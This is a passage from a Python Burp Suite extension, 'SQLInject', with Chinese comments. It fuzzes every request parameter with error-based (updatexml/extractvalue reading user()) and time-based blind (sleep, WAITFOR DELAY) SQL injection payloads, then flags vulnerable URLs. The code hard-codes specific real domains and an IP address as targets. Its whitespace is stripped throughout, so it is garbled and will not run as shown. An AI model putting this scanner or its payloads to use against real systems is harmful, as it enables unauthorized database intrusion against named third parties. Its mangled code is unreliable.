#"'/***/and/***/(updatexml(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e),1))--+",

#'"/***/and/***/(updatexml(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e),1))--+',

#

#'/***/and/***/(extractvalue(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e)))--+',

#'"/***/and/***/(extractvalue(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e)))--+',

#"'/***/and/***/(extractvalue(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e)))--+"

]

 

 

self.blind=['/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/{},/***/0/***/)/***/)%23'.format(SLEEP_TIME),

"'/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/{},/***/0/***/)/***/)%23".format(SLEEP_TIME),

'"/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/{},/***/0/***/)/***/)%23'.format(SLEEP_TIME),

 

#'/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+',

#"'/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+",

#'"/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+',

 

'/***/WAITFOR/***/DELAY/***/"0:0:{}"--+'.format(SLEEP_TIME),

"'/***/WAITFOR/***/DELAY/***/'0:0:{}'--+".format(SLEEP_TIME),

'"/***/WAITFOR/***/DELAY/***/"0:0:{}"--+'.format(SLEEP_TIME)

 

 

 

#';WAITFOR/***/DELAY/***/"0:0:10"--+',

#"';WAITFOR/***/DELAY/***/'0:0:10'--+",

#'";WAITFOR/***/DELAY/***/"0:0:10"--+',

#

#');WAITFOR/***/DELAY/***/"0:0:10"--+',

#"');WAITFOR/***/DELAY/***/'0:0:10'--+",

#'");WAITFOR/***/DELAY/***/"0:0:10"--+'

]

 

#报错注入的特征

self.errorFlag=re.compile(r'.*(SQLsyntax|Warning|mysql_error|\^\^\^).*')

 

classBurpExtender(IBurpExtender,IHttpListener):

globalurls

urls=[]

defregisterExtenderCallbacks(self,callbacks):

 

self._callbacks=callbacks

 

#用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。

self._helpers=callbacks.getHelpers()

 

#用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name-扩展名。。

self._callbacks.setExtensionName("SQLInject")

 

#用于注册侦听器,该侦听器将通知任何Burp工具发出的请求和响应。扩展可以通过注册HTTP侦听器来执行自定义分析或修改这些消息。参数:listener-实现IHttpListener接口的扩展创建的对象。

callbacks.registerHttpListener(self)

 

self.fuzzSQL=FuzzSQL()

 

#获取请求的url

defget_request_url(self,protocol,reqHeaders):

link=reqHeaders[0].split('')[1]

host=reqHeaders[1].split('')[1]

returnprotocol+'://'+host+link

 

#保存结果

defsave(self,content):

printcontent

f=open(saveFile,'at')

f.writelines(content+'\n\n')

f.close()

 

#获取请求的一些信息:请求头,请求内容,请求方法,请求参数

defget_request_info(self,request):

analyzedRequest=self._helpers.analyzeRequest(

request)#analyzeRequest用于分析HTTP请求,并获取有关它的各种关键详细信息。生成的IRequestInfo对象

reqHeaders=analyzedRequest.getHeaders()#用于获取请求中包含的HTTP头。返回:请求中包含的HTTP标头。

reqBodys=request[analyzedRequest.getBodyOffset():].tostring()#获取消息正文开始的请求中的偏移量。返回:消息正文开始的请求中的偏移量。

reqMethod=analyzedRequest.getMethod()#获取请求方法

reqParameters=analyzedRequest.getParameters()

returnanalyzedRequest,reqHeaders,reqBodys,reqMethod,reqParameters

 

#获取响应的一些信息:响应头,响应内容,响应状态码

defget_response_info(self,response):

analyzedResponse=self._helpers.analyzeResponse(

response)#analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。

resHeaders=analyzedResponse.getHeaders()#getHeaders方法用于获取响应中包含的HTTP标头。返回:响应中包含的HTTP标头。

resBodys=response[

analyzedResponse.getBodyOffset():].tostring()#getBodyOffset方法用于获取消息正文开始的响应中的偏移量。返回:消息正文开始的响应中的偏移量。response[analyzedResponse.getBodyOffset():]获取正文内容

resStatusCode=analyzedResponse.getStatusCode()#getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。

returnresHeaders,resBodys,resStatusCode

 

#获取服务端的信息,主机地址,端口,协议

defget_server_info(self,httpService):

host=httpService.getHost()

port=httpService.getPort()

protocol=httpService.getProtocol()

ishttps=False

ifprotocol=='https':

ishttps=True

returnhost,port,protocol,ishttps

 

#获取请求的参数名、参数值、参数类型(get、post、cookie->用来构造参数时使用)

defget_parameter_Name_Value_Type(self,parameter):

parameterName=parameter.getName()

parameterValue=parameter.getValue()

parameterType=parameter.getType()

returnparameterName,parameterValue,parameterType

 

#检查是否存在报错注入

defcheck_error_inject(self,request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType):

thread_id=threading.current_thread().ident

#print'['+str(thread_id)+']'+parameterValueSQL

#构造参数

newParameter=self._helpers.buildParameter(parameterName,parameterValueSQL,parameterType)

#printnewParameter

#更新参数,并发送请求

newRequest=self._helpers.updateParameter(request,newParameter)

newAnalyzedRequest,newReqHeaders,newReqBodys,newReqMethod,newReqParameters=self.get_request_info(

newRequest)

 

#新的响应

newResponse=self._callbacks.makeHttpRequest(host,port,ishttps,newRequest)

newResHeaders,newResBodys,newResStatusCode=self.get_response_info(newResponse)

 

#判断是否存在报错注入的特征

errorInject=self.fuzzSQL.errorFlag.findall(newResBodys)

 

iferrorInject:

#获取请求的url

newReqUrl=self.get_request_url(protocol,newReqHeaders)

content='[+]{}->{}\n[Headers]->{}\n[Bodys]->{}'.format(errorInject,newReqUrl,newReqHeaders,newReqBodys)

printcontent

#self.save(content)

print'-'*50

 

#检测是否存在延时注入

defcheck_blind_inject(self,request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType):

thread_id=threading.current_thread().ident

#print'['+str(thread_id)+']'+parameterValueSQL

#构造参数

newParameter=self._helpers.buildParameter(parameterName,parameterValueSQL,parameterType)

#printnewParameter

#起始时间

startTime=time.time()

#更新参数,并发送请求

newRequest=self._helpers.updateParameter(request,newParameter)

 

newAnalyzedRequest,newReqHeaders,newReqBodys,newReqMethod,newReqParameters=self.get_request_info(

newRequest)

 

#新的响应

newResponse=self._callbacks.makeHttpRequest(host,port,ishttps,newRequest)

newResHeaders,newResBodys,newResStatusCode=self.get_response_info(newResponse)

 

endTime=time.time()

sleepTime=endTime-startTime

#printsleepTime

#判断是否延时

ifsleepTime>=SLEEP_TIME:

#获取请求的url

newReqUrl=self.get_request_url(protocol,newReqHeaders)

content='[+]{}->{}\n[Headers]->{}\n[Bodys]->{}'.format('[Blind]',newReqUrl,newReqHeaders,newReqBodys)

printcontent

#self.save(content)

print'-'*50

 

#每次burp发送请求时,都会调用该方法

defprocessHttpMessage(self,toolFlag,messageIsRequest,messageInfo):

'''

:paramtoolFlag:一个标志,指示发出请求的Burp工具。Burp工具标志在IBurpExtenderCallbacks界面中定义

:parammessageIsRequest:标记是否为请求或响应调用方法。

:parammessageInfo:要处理的请求/响应的详细信息。扩展可以调用此对象上的setter方法来更新当前消息,从而修改Burp的行为。

:return:

'''

 

#Proxy和Repeater触发插件

iftoolFlag==64ortoolFlag==16ortoolFlag==8ortoolFlag==4:

 

#处理响应内容

ifnotmessageIsRequest:

 

#获取请求包的数据

request=messageInfo.getRequest()

analyzedRequest,reqHeaders,reqBodys,reqMethod,reqParameters=self.get_request_info(request)

 

#获取响应包的数据

#response=messageInfo.getResponse()#getResponse方法用于检索请求消息。返回:响应消息。

#resHeaders,resBodys,resStatusCode=self.get_response_info(response)

 

#获取服务信息

httpService=messageInfo.getHttpService()

host,port,protocol,ishttps=self.get_server_info(httpService)

 

#获取请求的url

#reqUrl=self.get_request_url(protocol,reqHeaders)

 

#ifreqMethod=='GET':

iflen(host.split('.')[-2])!=3:

host_exp=host.split('.')[-2]+'.'+host.split('.')[-1]

else:

host_exp=host.split('.')[-3]+'.'+host.split('.')[-2]+'.'+host.split('.')[-1]

#printhost_exp

#获取请求的url

#reqUrl=self.get_request_url(protocol,reqHeaders)

url=str(host)+reqHeaders[0].split('')[1]+str(reqBodys)

#printurl

#ifreqMethod=='GET':

target_host=['saicmotor.com','saicmaxus.com','']

target_ip=['149.28.232.77']

ifurlnotinurls:

#printurl

urls.append(url)

ifhost_expintarget_hostorhostintarget_ip:

ifreqHeaders[0].split('')[1].endswith('.js')orreqHeaders[0].split('')[1].endswith('.css')orreqHeaders[0].split('')[1].endswith('.jpg')orreqHeaders[0].split('')[1].endswith('.png')orreqHeaders[0].split('')[1].endswith('.gif')orreqHeaders[0].split('')[1].endswith('.woff?'):

#print"staticsource"

pass

 

else:

error_threads=[]

parameterErrorSQL=[]#报错语句列表

forparameterinreqParameters:

parameterName,parameterValue,parameterType=self.get_parameter_Name_Value_Type(parameter)

forsqlErrorinself.fuzzSQL.error:

parameterErrorSQL.append([parameterName,parameterValue+sqlError,parameterType])#构造新的参数值,带有sql测试语句

 

forsqlErrorinparameterErrorSQL:

parameterName,parameterValueSQL,parameterType=sqlError

t=threading.Thread(target=self.check_error_inject,args=(request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType))

error_threads.append(t)

t.start()

fortinerror_threads:

t.join()

 

#多线程遍历每个延时注入

blind_threads=[]

parameterBlindSQL=[]

forparameterinreqParameters:

parameterName,parameterValue,parameterType=self.get_parameter_Name_Value_Type(parameter)

forsqlBlindinself.fuzzSQL.blind:

parameterBlindSQL.append([parameterName,parameterValue+sqlBlind,parameterType])

 

forsqlBlindinparameterBlindSQL:

parameterName,parameterValueSQL,parameterType=sqlBlind

t=threading.Thread(target=self.check_blind_inject,args=(request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType))

blind_threads.append(t)

t.start()

fortinblind_threads:

t.join()

 

else:

print"isarepeaturl"